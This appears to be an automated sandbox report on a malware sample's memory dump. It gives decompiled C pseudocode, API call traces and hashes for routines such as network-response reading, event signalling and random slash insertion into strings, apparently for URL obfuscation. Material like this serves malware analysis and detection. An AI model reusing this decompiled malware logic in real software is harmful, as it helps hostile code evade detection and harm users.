0x0355543b
0x03555444
0x03555444
0x03555446
0x0355544c
0x0355544c
0x0355544f
0x03555455
0x03555458
0x03555461
0x00000000
0x00000000
0x00000000
0x03555461
0x035553b5
0x035553af
0x03555397
0x03555467
0x03555467
0x0355546d
0x0355546d
0x03555473
0x03555473
0x0355547c
0x03555482
0x03555482
0x0355533e
0x0355548b

APIs

SysAllocString.OLEAUT32(0355C2B0), ref: 03555349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0355542B
SysFreeString.OLEAUT32(00000000), ref: 03555444
SysFreeString.OLEAUT32(?), ref: 03555473

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 2430646360c438b22ce7b9dc388d2158d16aa2321178a9fdbba6652bd3b5a403
Instruction ID: 2b236d73a2c017f8078e6ef0cfe78aacf0ec7e564efb5a01ce20a39540e721b7
Opcode Fuzzy Hash: 2430646360c438b22ce7b9dc388d2158d16aa2321178a9fdbba6652bd3b5a403
Instruction Fuzzy Hash: BF514F75D0061AEFCB01DFA8D4988AEF7B9FF89705B144985F915EB220E731AD05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03551017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E03551017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E0355A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E0355968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E03558967(_t101,  &_v236, _a8, _t96 - _t81);
					E03558967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E0355968F(_t101, 0x355d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E0355968F(_a16, _a4);
						E03551D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0355B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0355B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E03551FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E03558B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E03559100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x355d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x0355101a
0x03551026
0x0355102c
0x03551031
0x03551035
0x03551192
0x03551196
0x03551196
0x0355103b
0x0355103f
0x03551045
0x03551046
0x03551051
0x03551057
0x0355105c
0x0355105f
0x03551079
0x03551085
0x0355108e
0x03551098
0x0355109d
0x0355109f
0x035510a2
0x03551150
0x03551156
0x03551167
0x0355117a
0x0355118a
0x00000000
0x0355118f
0x035510ab
0x035510b2
0x035510b6
0x035510bc
0x035510be
0x035510c0
0x035510c2
0x035510c4
0x035510ce
0x035510d3
0x035510d5
0x035510d7
0x035510d8
0x035510d9
0x035510da
0x035510e1
0x035510e8
0x035510eb
0x035510eb
0x035510b8
0x035510b8
0x035510b8
0x035510f3
0x035510fb
0x03551104
0x03551109
0x03551109
0x0355110e
0x00000000
0x00000000
0x03551110
0x03551113
0x0355111d
0x00000000
0x00000000
0x0355111f
0x0355111f
0x03551129
0x03551109
0x0355110e
0x00000000
0x00000000
0x00000000
0x0355110e
0x03551133
0x03551136
0x03551139
0x03551140
0x03551140
0x0355114d
0x00000000
0x0355114d
0x03551048
0x0355104c
0x0355104d
0x0355104f
0x00000000
0x00000000
0x00000000
0x0355104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 035510C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 035510DA
memset.NTDLL ref: 0355117A
memset.NTDLL ref: 0355118A

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 9cdc59c92f995f6497768c4ebc130e5478b34d2d4b49637bfdbdb934977075ef
Instruction ID: 2c715536c3190f84106c4534951b67e102ea5e5c6fd0cf43581eca29ac029398
Opcode Fuzzy Hash: 9cdc59c92f995f6497768c4ebc130e5478b34d2d4b49637bfdbdb934977075ef
Instruction Fuzzy Hash: 1141887660024AABDF10DFA9EC54BEE7B79FF84310F10856AFD15AB160D770BA448B50

Uniqueness

Uniqueness Score: -1.00%

Function 0355A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,75144D40), ref: 0355A9BD

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

ResetEvent.KERNEL32(?), ref: 0355AA31
GetLastError.KERNEL32 ref: 0355AA54
GetLastError.KERNEL32 ref: 0355AAFF

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 3082e0528f498292886fbdadebad1fa1d480255bb86ccfd09af1cfce2c7efb24
Instruction ID: c9d0b4423e6e7364cc2eb0d71415e1a1f099b868a46716be5cdf92d44aab10ef
Opcode Fuzzy Hash: 3082e0528f498292886fbdadebad1fa1d480255bb86ccfd09af1cfce2c7efb24
Instruction Fuzzy Hash: 55417272500385BBDB22EF65EC58D6BBABDFB84700B044A1AF942D10B0E771B945DA20

Uniqueness

Uniqueness Score: -1.00%

Function 035539BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E035539BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x355d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x355d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E03552049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x355d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E03559039(_v16);
							if(_t58 == 0) {
								_t58 = E03557A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E03551C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E03551C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x035539bf
0x035539ce
0x035539d3
0x035539d5
0x035539da
0x035539db
0x035539e0
0x035539e1
0x035539ec
0x03553a1d
0x03553a22
0x03553ae5
0x03553ae8
0x03553aee
0x03553aee
0x03553a2f
0x03553a37
0x03553ae2
0x00000000
0x03553ae2
0x03553a42
0x03553a49
0x03553a4c
0x03553ad4
0x03553ad5
0x03553ad5
0x03553adb
0x00000000
0x03553adb
0x03553a52
0x03553a54
0x03553a5a
0x03553a5b
0x03553a5b
0x03553a5e
0x03553a61
0x03553a67
0x03553a6c
0x03553a6d
0x03553a72
0x03553a75
0x03553a80
0x00000000
0x00000000
0x03553a88
0x03553a90
0x03553ab9
0x03553abc
0x03553ac3
0x03553ace
0x03553ace
0x00000000
0x03553ac3
0x03553a9c
0x03553aa0
0x00000000
0x00000000
0x03553aa2
0x03553aa7
0x00000000
0x00000000
0x03553aa9
0x03553aa9
0x03553aae
0x00000000
0x00000000
0x03553ab0
0x03553ab1
0x03553ab4
0x03553ab4
0x03553a5b
0x035539f4
0x035539fc
0x03553a15
0x03553a17
0x00000000
0x00000000
0x00000000
0x03553a17
0x03553a08
0x03553a0c
0x00000000
0x00000000
0x03553a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 035539D5
GetLastError.KERNEL32 ref: 035539EE

Part of subcall function 03551C47: WaitForMultipleObjects.KERNEL32(00000002,0355AA72,00000000,0355AA72,?,?,?,0355AA72,0000EA60), ref: 03551C62

ResetEvent.KERNEL32(?), ref: 03553A67
GetLastError.KERNEL32 ref: 03553A82

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: 66443a9c78b940bcbd439eed826829d412924194d14923d6883f435e807f1593
Instruction ID: 3f8846bed46eed5c1f4c8aa123e3ae13eaeb2bced9eb5d0abe86b2215a5dca6d
Opcode Fuzzy Hash: 66443a9c78b940bcbd439eed826829d412924194d14923d6883f435e807f1593
Instruction Fuzzy Hash: 6231953A600704ABCB12DBA4EC54F6EB7B9BF84690F14056AFD19971B0E731F9459710

Uniqueness

Uniqueness Score: -1.00%

Function 035542EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E035542EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x355d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x355d27c; // 0x244a5a8
				_t3 = _t8 + 0x355e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E03557A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x355d2a8, 1, 0, _t30);
					E03559039(_t30);
				}
				_t12 =  *0x355d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0355757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E0355205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x355d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0355A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x035542eb
0x035542f2
0x035542fc
0x03554300
0x03554306
0x03554315
0x0355431c
0x03554320
0x03554332
0x03554334
0x03554334
0x03554339
0x03554340
0x03554395
0x03554395
0x0355439b
0x0355439d
0x0355439d
0x035543a7
0x035543ab
0x035543bd
0x035543bd
0x035543c1
0x035543c7
0x035543c7
0x00000000
0x03554359
0x0355435e
0x03554366
0x03554368
0x0355436c
0x0355436c
0x03554379
0x0355437d
0x03554381
0x035543d6
0x035543dc
0x035543dc
0x0355438f
0x03554393
0x035543ca
0x035543cc
0x035543cf
0x035543cf
0x00000000
0x035543cc
0x03554393
0x00000000
0x0355437d

APIs

Part of subcall function 03557A9A: lstrlen.KERNEL32(035523E9,00000000,00000000,00000027,00000005,00000000,00000000,035596DA,74666F53,00000000,035523E9,0355D00C,?,035523E9), ref: 03557AD0
Part of subcall function 03557A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 03557AF4
Part of subcall function 03557A9A: lstrcat.KERNEL32(00000000,00000000), ref: 03557AFC

CreateEventA.KERNEL32(0355D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,03553CA0,?,00000001,?), ref: 0355432B

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

WaitForSingleObject.KERNEL32(00000000,00004E20,03553CA0,00000000,00000000,?,00000000,?,03553CA0,?,00000001,?,?,?,?,03556880), ref: 03554389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,03553CA0,?,00000001,?), ref: 035543B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,03553CA0,?,00000001,?,?,?,?,03556880), ref: 035543CF

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: c17c1912d7314132bded1f8d1a8b7fca0854d51c5b7497599d4a919178fd8cb2
Instruction ID: c88a3b76940fc7291af7bfbb005cfdd83f994e71065d38ef86dfdd20603bec8c
Opcode Fuzzy Hash: c17c1912d7314132bded1f8d1a8b7fca0854d51c5b7497599d4a919178fd8cb2
Instruction Fuzzy Hash: 922103B35003119BC731EE6AB864A6EB3E8FB98B10B5A0217FD11DB134D661F8C28280

Uniqueness

Uniqueness Score: -1.00%

Function 0355A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0355A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x355d144; // 0x355ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E03552049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E03559039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E03551C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x0355a0b2
0x0355a0b2
0x0355a0bc
0x0355a0c2
0x0355a0c5
0x0355a0c9
0x0355a0d1
0x0355a0d4
0x0355a0ed
0x0355a0f0
0x0355a0f4
0x0355a0f8
0x0355a0f9
0x0355a0fe
0x0355a101
0x0355a108
0x0355a10f
0x0355a162
0x0355a16b
0x0355a16e
0x0355a1a9
0x0355a1af
0x00000000
0x00000000
0x00000000
0x0355a16e
0x0355a115
0x00000000
0x0355a11c
0x0355a12a
0x0355a12d
0x0355a130
0x0355a13c
0x0355a140
0x0355a1a2
0x0355a142
0x0355a145
0x0355a149
0x0355a14a
0x0355a14b
0x0355a14d
0x0355a154
0x0355a192
0x0355a19d
0x0355a156
0x0355a159
0x0355a15d
0x0355a15d
0x0355a154
0x00000000
0x0355a140
0x0355a115
0x0355a0d9
0x0355a0df
0x0355a0e4
0x0355a0e7
0x00000000
0x00000000
0x00000000
0x0355a177
0x0355a17f
0x0355a186
0x0355a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 0355A0C9
SetEvent.KERNEL32(?), ref: 0355A0D9
GetLastError.KERNEL32 ref: 0355A162

Part of subcall function 03551C47: WaitForMultipleObjects.KERNEL32(00000002,0355AA72,00000000,0355AA72,?,?,?,0355AA72,0000EA60), ref: 03551C62

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

GetLastError.KERNEL32(00000000), ref: 0355A197

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 827981f1f41a934fe4d3e50815f7f89d96e4fc7d31c0285da084fd4510e8f6d6
Instruction ID: 990f4037260152a996233edaf1126f5c3d5136d138062c51a0540f19601fc2d7
Opcode Fuzzy Hash: 827981f1f41a934fe4d3e50815f7f89d96e4fc7d31c0285da084fd4510e8f6d6
Instruction Fuzzy Hash: 9E313EB5900349EFDB21DF95D89099EFBF8FB04340F144A6BE902D6560D730BA499B50

Uniqueness

Uniqueness Score: -1.00%

Function 03553BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E03553BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E03559763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E0355A022(_t23);
						}
					}
					return _t38;
				}
				if(E0355A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x355d2a8, 1, 0,  *0x355d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E03558A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E035517D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E03551F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E035542EA( &_v32, _t39);
					goto L13;
				}
			}

0x03553bf1
0x03553bfe
0x03553c04
0x03553c05
0x03553c06
0x03553c07
0x03553c08
0x03553c0c
0x03553c18
0x03553c1c
0x03553ca4
0x03553ca4
0x03553ca7
0x03553ca9
0x03553cb1
0x03553cb1
0x03553cb7
0x03553cba
0x03553cba
0x03553cb7
0x03553cc5
0x03553cc5
0x03553c2f
0x03553c31
0x03553c31
0x03553c48
0x03553c4c
0x03553c4f
0x03553c5a
0x03553c61
0x03553c61
0x03553c6d
0x03553c6e
0x03553c7c
0x03553c70
0x03553c70
0x03553c71
0x03553c72
0x03553c73
0x03553c74
0x03553c75
0x03553c75
0x03553c81
0x03553c86
0x03553c88
0x03553c8a
0x03553c8a
0x03553c91
0x00000000
0x03553c93
0x03553c93
0x03553ca0
0x00000000
0x03553ca0

APIs

CreateEventA.KERNEL32(0355D2A8,00000001,00000000,00000040,00000001,?,7519F710,00000000,7519F730,?,?,?,03556880,?,00000001,?), ref: 03553C42
SetEvent.KERNEL32(00000000,?,?,?,03556880,?,00000001,?,00000002,?,?,03552417,?), ref: 03553C4F
Sleep.KERNEL32(00000BB8,?,?,?,03556880,?,00000001,?,00000002,?,?,03552417,?), ref: 03553C5A
CloseHandle.KERNEL32(00000000,?,?,?,03556880,?,00000001,?,00000002,?,?,03552417,?), ref: 03553C61

Part of subcall function 03558A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,03553C81,?,03553C81,?,?,?,?,?,03553C81,?), ref: 03558B2B

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: b383cfecfdff07921fb0bfc194f5cacf5bb783a361a15d16250ba52d3f22ef66
Instruction ID: 4561c1d85bca2cdb18a9e35f103cfa547c64176102d3a4bcca87647e634b17c1
Opcode Fuzzy Hash: b383cfecfdff07921fb0bfc194f5cacf5bb783a361a15d16250ba52d3f22ef66
Instruction Fuzzy Hash: 5521747BA00319ABCB10FFE4A8A49AEB77DBF44290B054467FE15E7120E774B94587A0

Uniqueness

Uniqueness Score: -1.00%

Function 0355788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0355788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x355d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x355d250; // 0x23256624
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x355d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x03557893
0x03557896
0x0355789c
0x035578b4
0x035578b8
0x035578bb
0x035578bd
0x035578c0
0x035578c2
0x035578c5
0x035578c7
0x035578c7
0x035578c9
0x035578d4
0x035578d9
0x035578ea
0x035578f2
0x035578f7
0x035578fa
0x035578fd
0x035578ff
0x03557905
0x03557908
0x03557908
0x03557908
0x03557913
0x03557918
0x03557922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0355839A,00000000,?,?,0355A428,?,059A95B0), ref: 03557896
RtlAllocateHeap.NTDLL(00000000,?), ref: 035578AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,0355839A,00000000,?,?,0355A428,?,059A95B0), ref: 035578F2
memcpy.NTDLL(00000001,?,00000001), ref: 03557913

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: db6f29270cb32a8e26337914134f69a3e255d51647a487ba08686e8b12e6dc75
Instruction ID: 590000f7da52ea91d67844fa306ee91b44720ad11dde0e662ea591db0c1ef8c1
Opcode Fuzzy Hash: db6f29270cb32a8e26337914134f69a3e255d51647a487ba08686e8b12e6dc75
